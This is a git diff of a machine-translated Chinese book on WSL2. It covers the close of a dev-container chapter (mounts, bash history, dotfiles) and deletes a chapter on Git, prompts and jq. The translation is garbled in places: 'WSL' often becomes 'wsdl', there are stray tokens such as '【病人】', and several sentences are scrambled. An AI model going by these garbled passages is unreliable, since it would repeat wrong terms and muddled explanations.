将鼠标悬停在一个端口上,你会看到屏幕截图中的球形和交叉图标。 点击地球仪将在默认的 Windows 浏览器中打开该端口,点击十字将停止共享该端口。 - -**端口转发**是一个非常有用的工具,它可以将开发容器集成到 web 应用和 api 的典型流程中,并通过`forwardPorts`配置使其自动化,从而提高生产率。 - -接下来,我们将重新讨论卷安装的主题,并查看更多的示例。 - -## 安装卷和 Bash 历史 - -在本章中,我们已经看到了几个配置挂载的例子,它们分为两类: - -* 将文件夹或文件从主机装入容器中 -* 将卷挂载到容器中以在容器实例之间持久化数据 - -第一种是将主机卷挂载到容器中,这是我们用来将主机 Docker 套接字(`/var/run/docker.sock`)挂载到 dev 容器中的方法。 这也可以用于从主机挂载文件夹(如`~/.azure`),将 Azure CLI 身份验证数据带到开发容器中,从而避免在开发容器中再次登录。 - -第二类 mount 创建一个 Docker 卷,该卷在每次开发容器运行时都被挂载。 这在开发容器中提供了一个文件夹,其内容在容器重建中被保留。 这可能很有用,例如,对于包缓存文件夹,如果您有希望避免重复下载的大文件。 另一个非常有用的例子是在开发容器中保存 Bash 历史记录。 为此,我们可以在 Dockerfile 中配置的`bash history`位置: - -```sh -# Set up bash history -RUN echo "export PROMPT_COMMAND='history -a' && export HISTFILE=/commandhistory/.bash_history" >> /root/.bashrc -``` - -此代码段向`.bashrc`文件(Bash 启动时运行该文件)添加配置,以将`.bash_history`文件的位置配置为`/commandhistory`文件夹。 单独来说,这并没有多大效果,但是如果您将其与将`/commandhistory`文件夹作为挂载卷结合使用,结果是跨开发容器的实例保存 Bash 历史记录。 事实上,这种配置还有一个额外的好处。 如果没有开发容器,所有项目在主机上共享相同的 Bash 历史,因此,如果您几天没有使用某个项目,可能意味着与该项目相关的命令已经从您的历史中删除了。 对于开发容器的这种配置,Bash 历史记录是特定于容器的,因此加载开发容器将返回 Bash 历史记录,而不管您同时在主机上运行了什么命令(确保为卷添加了特定于项目的名称)。 - -下面是一个说明所讨论示例的配置: - -```sh -"mounts": [ - // mount the host docker socket - "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" - // mount the .azure folder - "source=${env:HOME}${env:USERPROFILE}/.azure,target=//root/.azure,type=bind", -// mount a volume for bash history - "source=myproject-bashhistory,target=/commandhistory,type=volume", -], -``` - -这段代码展示了我们在本节中讨论的各种挂载: - -* 挂载主机`/var/run/docker.sock`,将主机 Docker 套接字暴露在 dev 容器中。 -* 从主机挂载`.azure`文件夹,将缓存的 Azure CLI 身份验证带到 dev 容器中。 请注意用于在源文件中定位用户文件夹的环境变量替换。 -* 挂载一个卷以跨开发容器实例保存 Bash 历史记录。 - -**卷挂载**在使用开发容器时是一个非常有用的工具,通过允许我们跨主机文件夹重用 Azure CLI 身份验证,可以显著提高生产率。 它还可以提供跨开发容器实例的持久文件存储—例如,保存 Bash 历史记录或启用包缓存。 - -我们要研究的最后一个技巧是确保构建开发容器映像的可重复性。 - -## 使用固定版本的工具 - -在配置开发容器时,很容易(而且很容易)使用安装最新版本工具的命令。 开始 dev 容器定义运行时使用**Remote-Containers:添加开发容器配置文件…**命令经常使用的命令安装最新版本的工具,和大量的安装文档工具指导你的命令做同样的事情。 - -如果开发容器 Dockerfile 中的命令安装了最新版本的工具,那么团队中不同的人可能在他们的开发容器中拥有不同版本的工具,这取决于他们构建开发容器的时间以及当时工具的最新版本。 此外,您可以添加一个新工具并重新构建开发容器,并选择其他工具的新版本。 一般来说,工具在版本之间保持了合理的兼容性,但是偶尔,它们的行为会在版本之间发生变化。 这可能会导致一些奇怪的情况,即开发容器工具似乎只适用于一个开发人员,而不适用于另一个开发人员,或者这些工具在您重新构建开发容器(例如,添加一个新工具)之前运行良好,但随后却无意中使用了其他工具的新版本。 这可能会破坏您的工作流,而且我通常更喜欢将工具固定到特定的版本(例如本章中的`kind`和`kubectl`),然后在方便的时间或需要时显式地更新它们的版本。 - -## 总是安装扩展名和 dotfile - -当设置一个开发容器时,您可以在创建开发容器时指定扩展来安装。 为此,您可以将添加以下内容到`devcontainer.json`: - -```sh -"extensions": [ - "redhat.vscode-yaml", - "ms-vsliveshare.vsliveshare" -], -``` - -在这里,您可以看到 JSON 中的`extensions`属性,它指定了扩展 id 数组。 要找到一个扩展的 ID,在 Visual Studio Code 的**EXTENSIONS**视图中搜索该扩展并打开它。 您将看到以下详细信息: - -![Figure 10.9 – A screenshot showing extension information in Visual Studio Code ](img/Figure_10.9_B16412.jpg) - -图 10.9 -在 Visual Studio Code 中显示扩展信息的截图 - -在这个屏幕截图中,您可以看到突出显示的扩展 ID(`ms-vsliveshare.vsliveshare`)的扩展信息。 通过在这里添加扩展,您可以确保使用开发容器的任何人都安装了相关的扩展。 - -Remote-Containers 扩展还具有一个名为**Always Installed Extensions**(或**Default Extensions**)的特性。 这个特性允许您配置一个始终希望安装在开发容器中的扩展列表。 要启用此功能,通过选择**首选项打开设置 JSON:从命令面板中打开用户设置(JSON)**并添加以下内容: - -```sh -"remote.containers.defaultExtensions": [ - "mhutchie.git-graph", - "trentrand.git-rebase-shortcuts" -], -``` - -在设置文件的这个片段中,您可以看到`remote.containers.defaultExtensions`属性。 这是一个扩展 id 数组,就像`devcontainer.json`中的`extensions`属性一样,但是这里列出的扩展总是安装在您的机器上构建的开发容器中。 - -Remote-Containers 扩展支持的一个相关特性是**dotfiles**。 如果您不熟悉 dotfiles,它们提供了一种配置系统的方法(名称来自 Linux 中使用的配置文件,例如`.bash_rc`和`.gitconfig`)。 要找到更多关于 dotfiles 的信息,[https://dotfiles.github.io/](https://dotfiles.github.io/)是一个很好的起点。 - -Remote-Containers 中的 dotfile 支持允许您为包含您的 dotfile 的 Git 存储库指定 URL,它们应该在 dev 容器中被克隆到的位置,以及克隆存储库后要运行的命令。 这些可以在设置 JSON 中配置: - -```sh -"remote.containers.dotfiles.repository": "stuartleeks/dotfiles", -"remote.containers.dotfiles.targetPath": "~/dotfiles", -"remote.containers.dotfiles.installCommand": "~/dotfiles/install.sh", -``` - -在这里,我们可以看到与我们刚才描述的设置相对应的三个 JSON 属性。 注意,`remote.containers.dotfiles.repository`值可以是一个完整的 URL,例如[https://github.com/stuartleeks/dotfiles.git](https://github.com/stuartleeks/dotfiles.git)或简单的`stuartleeks/dotfiles`。 - -我喜欢使用这个 dotfiles 特性来设置 Bash 别名。 我早期使用计算机的大部分时间都花在 MS-DOS 上,而且我仍然发现,我键入`cls`和`md`等命令比键入`clear`和`mkdir`等命令更容易。 在这个配置中使用 dotfile 有助于提高我在开发容器之间的工作效率,但是这个配置并不是其他开发容器用户可能需要或想要的。 - -有了 dotfiles 和**Always Installed Extensions**特性,现在需要做一个决定:配置和扩展应该在 dev 容器定义中设置,还是使用 dotfiles 和**Always Installed Extensions**? 要回答这个问题,我们可以问自己,扩展或设置是否与开发容器的功能或个人偏好有关。 如果答案是个人偏好,那么我把它放在 dotfiles 或**总是安装的扩展**中。 对于与开发容器的用途直接相关的功能,我将其包含在开发容器定义中。 - -例如,如果我正在使用用于 Python 开发的开发容器,那么我将在开发容器定义中包含 Python 扩展。 类似地,对于使用 Kubernetes 的项目,我将在 Dockerfile 中包含`kubectl`作为开发容器,并为其配置 Bash 完成。 我还将包括 RedHat YAML 扩展,以获得 Kubernetes YAML 文件的完成帮助(参见[https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml))。 - -dotfiles 和**Always Installed Extensions**都是确保环境和开发容器体验熟悉和高效的好方法。 - -本节看着提示,以帮助提高生产力与 dev 容器,等删除重复的任务由自动运行命令 dev 容器后重建,dev 容器启动时自动转发端口。 - -要了解更多关于配置开发容器的选项,请参见[https://code.visualstudio.com/docs/remote/containers](https://code.visualstudio.com/docs/remote/containers)。 - -# 总结 - -在本章中,您已经看到了 Visual Studio Code 远程容器扩展如何允许我们使用标准 Dockerfile 定义一个容器来完成我们的开发工作,同时保持 Visual Studio Code 丰富的、交互式的环境。 这些开发容器允许我们构建独立的开发环境来打包特定于项目的工具和依赖项,从而消除了在团队中经常看到的跨项目协调工具更新的需要。 此外,通过在源代码控制中包含开发容器定义,团队成员可以轻松地创建(和更新)开发环境。 在处理 web 应用时,您看到了如何将端口转发到在容器中运行的应用,以便您可以在 Windows 浏览器中浏览 web 应用,同时在容器中交互地调试它。 - -您还了解了如何通过共享主机 Docker 守护进程在开发容器中构建和使用容器化应用。 本章考虑了在开发容器中使用 Kubernetes 的不同选项,并且您了解了如何在开发容器中配置`kind`,以提供对主机具有最低要求的 Kubernetes 环境。 - -最后,这一章以一些使用开发容器的技巧结束。 您看到了如何在创建开发容器之后自动执行步骤,以及如何在开发容器启动时自动转发端口。 您还了解了如何从主机挂载文件夹或文件,以及如何创建跨 dev 容器实例持久化文件的卷(例如,持久化 Bash 历史或其他生成的数据)。 所有这些方法都提供了使用开发容器简化开发流程的方法,以帮助您专注于想要编写的代码。 - -使用 remote - container 可能需要为项目设置一些额外的开发环境,但它为隔离和可重复开发环境提供了一些引人注目的优势,对于个人和整个团队都是如此。 - -在下一章中,我们将返回到 wsdl,并研究在 wsdl 中使用命令行工具的各种技巧。* \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/11.md b/docs/wsl2-tip-trick-tech/11.md deleted file mode 100644 index a5a9192e..00000000 --- a/docs/wsl2-tip-trick-tech/11.md +++ /dev/null @@ -1,1154 +0,0 @@ -# 十一、使用命令行工具提高效率的技巧 - -在本章中,我们将介绍一些使用不同的常用命令行工具的技巧。 我们将从提高生产率和改善在 WSL 中使用 Git 的体验开始。 Git 得到了广泛的使用,使用它提高生产力可以在任何使用它进行源代码控制的项目中得到改进。 在此之后,我们将看看两个**命令行接口**(**CLIs**):Azure 的`az`和 Kubernetes 的`kubectl`。 对于这些 CLIs,我们将部署一个简单的示例资源,然后展示使用它们查询数据的一些技术。 是常见的许多综合领先指标,`az`和`kubectl`提供一个选项**获取数据的 JavaScript 对象表示法**(【病人】JSON)格式,在观察这些综合领先指标之前,我们将探讨一些选项在 WSL 处理 JSON 数据。 即使您没有使用`az`或`kubectl`,这些部分中介绍的技术也可能与您正在使用的其他 cli 相关。 通过学习如何有效地操作 JSON,您将为使用广泛的 api 和 cli 编写脚本和自动化打开新的可能性。 - -在本章中,我们将涵盖以下主要主题: - -* 使用 Git -* 使用 JSON -* 使用 Azure CLI(`az`) -* 使用 Kubernetes CLI(`kubectl`) - -让我们从探索使用 Git 的一些技巧开始。 - -# 使用 Git - -毫无疑问,Git 是一种常用的源代码控制系统。 最初由 Linus Torvalds 用于 Linux 内核源代码,现在广泛使用,包括像微软这样的公司,它被广泛使用,包括 Windows 开发 https://docs.microsoft.com/en-us/azure/devops/learn/devops-at-microsoft/use-git-microsoft(参见的更多信息)。 - -在本节中,我们将研究在 wsdl 中使用 Git 的一些技巧。 一些技巧在前面的章节中已经介绍过并链接起来以获取更多的信息,而另一些则是新的技巧——这里将两者结合在一起以方便参考。 - -让我们先来看看大多数命令行工具的快速优势:bash 完成。 - -## 用 Git 完成 Bash - -当使用和许多命令行工具时,bash 完成可以为节省大量输入,`git`也不例外。 - -例如,`git com`会产生`git commit`,`git chec`会产生`git checkout`。 如果您输入的部分命令不足以指定单个命令,那么 bash 补全将显示不做任何事情,但是按*Tab*两次将显示选项。 举个例子: - -```sh -$ git co -commit config -$ git co -``` - -这里,我们看到,`git co`可以完成`git commit`或`git config`。 - -Bash 补全也不仅仅是补全命令名; 您可以使用`git checkout my`来完成到`git checkout my-branch`的分支名称。 - -一旦你习惯了敲打完成,你会发现它可以大大提高生产力! - -接下来,让我们看看使用远程 Git repos 进行身份验证的选项。 - -## Git 认证 - -使用 Git 进行身份验证的一种强大的方法是通过使用**Secure Shell**(**SSH**)密钥。 这种身份验证方法重用了 SSH 密钥,这些密钥通常用于建立到远程机器的 SSH 连接,通过 Git 进行身份验证,并且被主要的 Git 源代码控制提供程序支持。 在[【显示】第五章](05.html#_idTextAnchor054),*Linux, Windows 互操作性【病人】,在*SSH 代理转发*一节中,我们看到了如何配置 WSL 重用 SSH 密钥存储在窗口。 如果您已经设置了这个,它还允许您在 wsdl 中使用 Git 的 SSH 密钥。* - -或者,如果您正在跨 Windows 和 WSL 进行混合开发,并希望在它们之间共享 Git 身份验证,那么您可能需要为 Windows 配置 Git Credential Manager,以便在 WSL 中使用。 这也支持使用 GitHub 或 Bitbucket 等提供商的双因素认证(参见[https://github.com/Microsoft/Git-Credential-Manager-for-Windows](https://github.com/Microsoft/Git-Credential-Manager-for-Windows)了解更多信息)。 要使用它,您必须在 Windows 中安装 Git。 要配置,请从您的**发行版**(**发行版**)中运行以下命令: - -```sh -git config --global credential.helper "/mnt/c/Program\ Files/Git/mingw64/libexec/git-core/git-credential-manager.exe" -``` - -这个命令设置 Git 配置,以启动 Git Credential Manager,以便 Windows 处理远程 repos 的身份验证。 通过 Windows 访问 Git 远程服务器时存储的任何凭据都将被 wsdl 重用(反之亦然)。 详情见[https://docs.microsoft.com/en-us/windows/wsl/tutorials/wsl-git#git-credential-manager-setup](https://docs.microsoft.com/en-us/windows/wsl/tutorials/wsl-git#git-credential-manager-setup)。 - -在处理了身份验证之后,让我们看看在 Git 中查看历史的几个选项。 - -## 查看 Git 历史 - -当在 WSL 中使用 Git 时,有许多不同的方法可以在 Git 回购中查看提交的历史。 在这里,我们将看看以下不同的选择: - -* 通过`git`命令行 -* 从 Windows 使用图形化的 Git 工具 -* 使用 Visual Studio Code 远程- wsdl - -第一个选项是在 CLI 中使用`git log`命令: - -```sh -$ git log --graph --oneline --decorate --all -* 35413d8 (do-something) Add goodbye -| * 44da775 (HEAD -> main) Fix typo -| * c6d17a3 Add to hello -|/ -* 85672d8 Initial commit -``` - -在`git log`的输出中,您可以看到运行`git log`命令的结果,该命令带有许多附加开关,使用文本图像来显示分支,从而产生简洁的输出。 这种方法非常方便,因为它可以直接从 WSL 中的命令行使用,并且只需要在 WSL 中安装 Git。 然而,输入这个命令可能有点乏味,所以你可能想要创建一个 Git 别名,如下所示: - -```sh -$ git config --global --replace-all alias.logtree 'log --graph --oneline --decorate --all' -``` - -这里,我们使用`git config`命令为前面的 Git 命令创建一个名为`logtree`的别名。 在创建这个之后,我们现在可以运行`git logtree`来生成之前的输出。 - -如果您有一个用于 Windows 的图形化工具,并且与 Git 一起使用,那么您可以将其指向 wsdl 中的 Git 回购。 在[*第 9 章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL【显示】,在*查看 Git 历史*部分,我们研究了如何使用`gitk`工具,包含在 Git。 例如,我们可以在一个 WSL shell 的 Git repo 文件夹中运行`gitk.exe --all`来启动 Windows`gitk.exe`可执行文件:* - -![Figure 11.1 – A screenshot showing the gitk utility in Windows showing a WSL Git repo ](img/Figure_11.1_B16412.jpg) - -图 11.1 -显示 Windows 中 gitk 实用程序的屏幕截图,该实用程序显示了一个 WSL Git repo - -在这个屏幕截图中,我们可以看到`gitk`实用程序在 Windows 中运行,并显示与前面和`git log`相同的 Git 回购。 因为我们在 WSL 推出了它从一个 shell,它拿起`\\wsl$`分享用来访问 shell 的当前文件夹 WSL 从 Windows(见第四章[*【显示】*](04.html#_idTextAnchor047),*Windows, Linux 互操作性*,【病人】访问 Linux 文件从 Windows 部分,`\\wsl$`分享的更多信息)。 这种方法的一个潜在问题是,通过`\\wsl$`共享访问文件会带来性能开销,对于较大的 Git 回购,这可能会使 Windows Git 实用程序加载缓慢。 - -另一个选项,我们看到[*第 9 章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL*,在*【查看 Git 历史 T7】部分,是使用 Visual Studio Code。 通过使用 Remote-WSL 扩展,我们可以为 Visual Studio Code 安装其他的扩展,这样它们就可以在 WSL 中运行。 Git 图形扩展**是 Visual Studio Code 的一个方便的添加,它允许您以图形化的方式查看 Git 历史,并且可以很好地与 Remote-WSL 一起工作。 你可以在这里看到一个例子:*** - - **![Figure 11.2 – A screenshot showing the Git Graph extension in Visual Studio Code ](img/Figure_11.2_B16412.jpg) - -图 11.2 -在 Visual Studio Code 中显示 Git Graph 扩展的截图 - -这张截图再次显示了相同的 Git 回购,但这一次使用的是 Visual Studio Code 中的 Git Graph 扩展。 因为这个扩展是通过 remote - wsdl 在 WSL 中加载的,所以所有对 Git 回购的访问都直接在 WSL 中执行,并且在查询 Git 时没有通过`\\wsl$`共享的性能开销。 - -我们在这里看到了几种方法,每种方法都有各自的优点,每种方法在各自的环境中都很有用。 如果您已经在终端上,那么*Git CLI*方法是非常方便的,并且它在 WSL 中运行,因此具有良好的性能。 对于检查复杂的分支和历史,这正是图形工具发挥作用的地方。 然而,正如前面提到的,使用 Windows 的图形化 Git 工具会导致`\\wsl$`共享的性能开销——通常,这不会引起注意,但对于包含大量文件或历史的 Git 回购,这可能会变得更重要。 在这些情况下,或者当我已经在编辑器中工作时,我发现 Visual Studio Code 扩展(如 Git Graph)作为图形可视化非常有用,而且没有性能开销。 - -接下来,我们将看看如何改进使用 Git 时的 bash 提示符。 - -## bash 提示符中的 Git 信息 - -在 Git 存储库的文件夹中使用 bash 中的时,默认提示不会给您关于 Git 存储库状态的任何提示。 将上下文从 Git 存储库添加到 bash 有多种选项,我们将在这里讨论中的几个选项。 第一个选项是**bash- Git -prompt**(https://github.com/magicmonty/bash-git-prompt),它在 Git 存储库中定制 bash 提示。 你可以在这里看到一个例子: - -![Figure 11.3 – A screenshot showing bash-git-prompt ](img/Figure_11.3_B16412.jpg) - -图 11.3 -显示 bash-git-prompt 的屏幕截图 - -如图所示,`bash-git-prompt`显示您当前所在的分支(在本例中为`main`)。 它还指示本地分支是否有提交要推入,或者是否有提交要通过向上和向下箭头从远程分支拉出。 向上的箭头表示提交到 push,向下的箭头表示提交到 pull。 最后,它显示您是否有未提交的本地更改—在本例中为`+1`。 - -要安装`bash-git-prompt`,首先使用以下命令克隆存储库: - -```sh -git clone https://github.com/magicmonty/bash-git-prompt.git ~/.bash-git-prompt --depth=1 -``` - -这个`git clone`命令将回购复制到用户文件夹中的`.bash-git-prompt`文件夹中,并使用`--depth=1`只拉出最新的提交。 - -接下来,在您的用户文件夹中添加以下内容到`.bashrc`: - -```sh -if [ -f "$HOME/.bash-git-prompt/gitprompt.sh" ]; then - GIT_PROMPT_ONLY_IN_REPO=1 - source $HOME/.bash-git-prompt/gitprompt.sh -fi -``` - -这段代码将`GIT_PROMPT_ONLY_IN_REPO`变量设置为只在带有 Git 存储库的文件夹中使用自定义提示,然后加载`git`提示。 现在,重新打开终端并将文件夹更改为 Git 存储库,以查看`bash-git-prompt`的工作情况。 有关其他配置选项,请参阅文档[https://github.com/magicmonty/bash-git-prompt](https://github.com/magicmonty/bash-git-prompt)。 - -丰富 bash 提示的另一个选项是**Powerline**。 与`bash-git-prompt`相比,它的安装步骤要多一些,并且接管了一般的提示经验,为 Git 和 Kubernetes 等内容添加了上下文。 在下面的截图中看到 Powerline 提示的例子: - -![Figure 11.4 – A screenshot showing a Powerline prompt ](img/Figure_11.4_B16412.jpg) - -图 11.4 -显示电力线提示的屏幕截图 - -如图截图所示,Powerline 使用了一些特殊的字体字符,并不是所有的字体都设置了这些字符,所以第一步是确保我们有一个合适的字体。 Windows 终端自带一种名为**Cascadia**的字体,你可以从[https://github.com/microsoft/cascadia-code/releases](https://github.com/microsoft/cascadia-code/releases)下载 Powerline 的变体。 下载最新版本,然后在**Windows 资源管理器**中右键单击**安装**,从`ttf`文件夹解压缩并安装`CascadiaCodePL.ttf`和`CascadiaMonoPL.ttf`。 - -安装了 Powerline 字体后,我们需要配置终端来使用它。 如果您使用的是 Windows 终端,然后启动它,按*Ctrl*+*,*加载设置,并添加以下内容: - -```sh -"profiles": { - "defaults": { - "fontFace": "Cascadia Mono PL" - }, -``` - -这里,我们将默认的`fontFace`值设置为我们刚刚安装的`Cascadia Mono PL`(Powerline)字体。 要更改单个配置文件的字体,请参见[*第 3 章*](03.html#_idTextAnchor037)、*开始使用 Windows 终端*、*更改字体*部分。 - -现在我们的终端设置了 Powerline 字体,我们就可以安装 Powerline 了。 有几个变体,我们将在这里使用**powerline-go**。 从[https://github.com/justjanne/powerline-go/releases](https://github.com/justjanne/powerline-go/releases)中获取最新的`powerline-go-linux-amd64`版本,并将其保存为`powerline-go`在您的 WSL 发行版的`PATH`中的某个地方,例如`/usr/local/bin`。 (另一种选择是安装这个通过**,但发行版的存储库被困在旧版本的可以导致不兼容——如果你愿意尝试这个选项,然后把 Windows 终端文档:https://docs.microsoft.com/en-us/windows/terminal/tutorials/powerline-setup【病人】)。** - - **安装了`powerline-go`后,我们可以通过在`bashrc`中添加以下内容来配置 bash: - -```sh -function _update_ps1() { - PS1="$(powerline-go -error $?)" -} -if [ "$TERM" != "linux" ] && [ "$(command -v powerline-go > /dev/null 2>&1; echo $?)" == "0" ]; then - PROMPT_COMMAND="_update_ps1; $PROMPT_COMMAND" -fi -``` - -这里,我们创建了一个调用`powerline-go`的`_update_ps1`函数。 在这里可以添加额外的开关来控制`powerline-go`的行为——更多细节请参阅文档:[https://github.com/justjanne/powerline-go#customization](https://github.com/justjanne/powerline-go#customization)。 - -在使用 Git 时,调整提示以自动获得 Git 存储库的上下文可以使您选择的任何选项都更容易。 结合这一点,将 Git 中的身份验证设置为跨 Windows 和 WSL 共享,并了解在不同情况下如何最好地查看 Git 历史,您就可以很好地使用在 WSL 中使用 Git。 - -在下一节中,我们将研究处理 JSON 数据的两种方法。 - -# 使用 JSON - -将复杂的任务自动化可以节省数小时的手工劳动。 在本节中,我们将探讨一些处理 JSON 数据的技术,这是许多命令行工具和 api 都允许使用的一种常见格式。 在本章的后面,我们将展示一些示例,展示如何使用这些技术轻松地创建和发布内容到云网站或 Kubernetes 集群。 - -对于本节,在本书附带的代码中有一个示例 JSON 文件。 你可以用 Git 从[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)克隆这段代码。 示例 JSON 名为`wsl-book.json`,位于`chapter-11/02-working-with-json`文件夹中,它基于对一本书的章节和标题的 JSON 描述。 这个 JSON 的一个片段显示在这里: - -```sh -{ - "title": "WSL: Tips, Tricks and Techniques", - "parts": [ - { - "name": "Part 1: Introduction, Installation and Configuration", - "chapters": [ - { - "title": "Introduction to the Windows Subsystem for Linux", - "headings": [ - "What is the Windows Subsystem for Linux?", - "Exploring the Differences between WSL 1 and 2" - ] - }, - ... - "name": "Part 2: Windows and Linux - A Winning Combination", - "chapters": [ - { - ... -``` - -这段代码显示了示例 JSON 的结构。 值得花点时间熟悉它,因为它是本节示例的基础。 本节中的示例假设您在包含示例 JSON 的文件夹中打开了一个 shell。 - -让我们从一个流行的实用程序`jq`开始。 - -## 使用 jq - -我们将介绍的第一个工具是`jq`,对于处理 JSON 字符串来说,它是一个非常方便的实用工具,主要平台都支持它。 [https://stedolan.github.io/jq/download/](https://stedolan.github.io/jq/download/)列出了完整安装选项,但是您可以通过运行`sudo apt-get install jq`快速启动 Debian/Ubuntu。 - -最基本的是,`jq`可以用来格式化输入。 例如,我们可以将一个 JSON 字符串管道到`jq`: - -```sh -$ echo '[1,2,"testing"]' | jq -[ - 1, - 2, - "testing" -] -``` - -在这个命令的输出中,您可以看到`jq`获取了紧凑的 JSON 输入,并将其转换为格式化良好的输出。 当与返回压缩 JSON 的 api 交互时,这个功能本身就很有用。 然而,`jq`的真正强大之处在于它的查询功能,我们将在本节中探讨这些功能。 如果你想了解可以实现什么,看看下面的例子: - -```sh -$ cat ./wsl-book.json | jq ".parts[].name" -"Part 1: Introduction, Installation and Configuration" -"Part 2: Windows and Linux - A Winning Combination" -"Part 3: Developing with Windows Subsystem for Linux" -``` - -该输出显示了`jq`提取并输出示例 JSON 中各部分的`name`值。 当使用 api 和返回 JSON 数据的命令行工具编写脚本时,这种类型的功能非常有用,我们将从一些简单的查询开始,逐步构建更复杂的查询。 你可以使用`jq`命令行或者**jq playground**在[https://jqplay.org](https://jqplay.org)跟随的例子,如下截图所示: - -![Figure 11.5 – A screenshot showing the jq playground ](img/Figure_11.5_B16412.jpg) - -图 11.5 -显示 jq 游乐场的截图 - -这个屏幕截图显示了在`jq`操场上打开的前一个示例。 在左上角,您可以看到过滤器(`.parts[].name`),下面是输入 JSON,右边是`jq`输出。 当您处理复杂的查询时,playground 可能是一个很有帮助的环境,底部的**Command Line**部分甚至提供了可以复制并在脚本中使用的命令行。 - -现在您已经了解了`jq`可以做什么,让我们从一个简单的查询开始。 我们正在处理的 JSON 有两个顶级属性:`title`和`parts`。 如果我们想提取`title`属性的值,我们可以使用以下查询: - -```sh -$ cat ./wsl-book.json | jq ".title" -"WSL: Tips, Tricks and Techniques" -``` - -在这里,我们使用了`.title`过滤器来提取`title`属性的值。 注意,该值在输出中使用了引号,因为`jq`默认输出 JSON。 要将其赋值给脚本中的一个变量,我们通常希望该值不带引号,我们可以使用带有`jq`的`-r`选项来获得原始输出: - -```sh -$ BOOK_TITLE=$(cat ./wsl-book.json | jq ".title" -r) -$ echo $BOOK_TITLE -WSL: Tips, Tricks and Techniques -``` - -这个输出显示了使用`-r`选项获取原始(没有引号)输出,并将其赋值给一个变量。 - -在本例中,我们使用了`title`属性,它是一个简单的字符串值。 另一个顶级属性是`parts`,它是一个 JSON 对象数组: - -```sh -$ cat ./wsl-book.json | jq ".parts" -[ - { - "name": "Part 1: Introduction, Installation and Configuration", - "chapters": [ - { - "title": "Introduction to the Windows Subsystem for Linux", - "headings": [ - "What is the Windows Subsystem for Linux?", - "Exploring the Differences between WSL 1 and 2" - ] - }, - ... -``` - -在这个命令的输出中,我们看到检索`parts`属性将返回该属性的完整值。 我们可以将过滤器改为`.parts[0]`,以拉回`parts`数组中的第一项,然后如果我们想要获得第一部分的名称,则进一步扩展过滤器,如下所示: - -```sh -$ cat ./wsl-book.json | jq ".parts[0].name" -"Part 1: Introduction, Installation and Configuration" -``` - -在这里,我们将看到如何构建一个查询来沿着 JSON 数据的层次结构进行工作,选择属性并对数组进行索引以选择特定的值。 有时,能够获得一个数据列表是很有用的——例如,检索所有部件的名称。 我们可以用下面的命令来做: - -```sh -$ cat ./wsl-book.json | jq ".parts[].name" -"Part 1: Introduction, Installation and Configuration" -"Part 2: Windows and Linux - A Winning Combination" -"Part 3: Developing with Windows Subsystem for Linux" -``` - -正如您在本例中所看到的,我们省略了前一个过滤器中的数组索引,并且`jq`针对`parts`数组的每一项处理了过滤器的其余部分(`.name`)。 与单值输出一样,我们可以添加`-r`选项来获得未加引号的字符串,以便在脚本中轻松处理输出。 或者,如果我们正在使用 api,我们可能希望构建 JSON 输出——例如,要将以前的值作为数组输出,我们可以将过滤器用方括号括起来:`[.parts[].name]`。 - -到目前为止,我们只使用了一个过滤器表达式,但是`jq`允许我们将多个过滤器链接在一起,并将一个过滤器的输出作为输入输送到下一个过滤器。 例如,我们可以将`.parts[].name`重写为`.parts[] | .name`,这将产生相同的输出。 从这里开始,我们可以将第二个过滤器改为`{name}`,以产生一个具有`name`属性的对象,而不仅仅是名称值: - -```sh -$ cat ./wsl-book.json | jq '.parts[] | {name}' -{ - "name": "Part 1: Introduction, Installation and Configuration" -} -{ - "name": "Part 2: Windows and Linux - A Winning Combination" -} -{ - "name": "Part 3: Developing with Windows Subsystem for Linux" -} -``` - -这里,我们看到`.parts`数组中的每个值现在都在输出中产生一个对象,而不是以前的简单字符串。 `{name}`语法实际上是`{name: .name}`的简写。 完整的语法使您更容易了解如何控制输出中的属性名—例如,`{part_name: .name}`。 使用完整的语法,我们还可以看到属性值是另一个过滤器。 在这个例子中,我们使用了简单的`.name`过滤器,但我们也可以使用更丰富的过滤器: - -```sh -$ cat ./wsl-book.json | jq '.parts[] | {name: .name, chapter_count: .chapters | length}' -{ - "name": "Part 1: Introduction, Installation and Configuration", - "chapter_count": 3 -} -{ - "name": "Part 2: Windows and Linux - A Winning Combination", - "chapter_count": 5 -} -{ - "name": "Part 3: Developing with Windows Subsystem for Linux", - "chapter_count": 3 -} -``` - -在这个示例中,我们添加了`.chapters | length`作为过滤器来指定`chapter_count`属性的值。 将`.chapters`表达式应用于当前正在处理的`parts`数组的值并选择`chapters`数组,然后将其解析到`length`函数,该函数返回数组长度。 有关`jq`中可用功能的更多信息,请查看 https://stedolan.github.io/jq/manual/#Builtinoperatorsandfunctions 中的文档。 - -对于`jq`的最后一个例子,让我们将显示部分名称的部分汇总,以及章节标题列表: - -```sh -$ cat ./wsl-book.json | jq '[.parts[] | {name: .name, chapters: [.chapters[] | .title]}]' -[ - { - "name": "Part 1: Introduction, Installation and Configuration", - "chapters": [ - "Introduction to the Windows Subsystem for Linux", - "Installing and Configuring the Windows Subsystem for Linux", - "Getting Started with Windows Terminal" - ] - }, - { - "name": "Part 2: Windows and Linux - A Winning Combination", - "chapters": [ -... -] -``` - -在本例中,`parts`数组被管道输送到一个过滤器中,该过滤器为每个具有`name`和`chapters`属性的数组项创建一个对象。 `chapters`属性是通过将`chapters`数组管道到属性的选择器中,然后将数组封装到`[.chapters[] | title]`数组中来构建的。 整个结果被包装在一个数组中(再次使用方括号),以在输出中创建这些摘要对象的 JSON 数组。 - -提示 - -使用命令行工具(如`jq`)查找选项的方法有很多种。 您可以运行`jq --help`查看简要帮助页,或者运行`man jq`查看完整的手册页。 一个方便的替代方案是`tldr`(参见[https://tldr.sh](https://tldr.sh)了解更多细节和安装说明)。 `tldr`实用程序将自己描述为*简化和社区驱动的手册页*,运行`tldr jq`将提供比手册页更短的输出,并包含有用的示例。 - -这段快速的旅程向您展示了`jq`提供的一些强大功能,无论是在交互工作时格式化 JSON 输出以提高可读性,还是快速从 JSON 中选择单个值以用于脚本,还是将 JSON 输入转换为新的 JSON 文档。 在处理 JSON 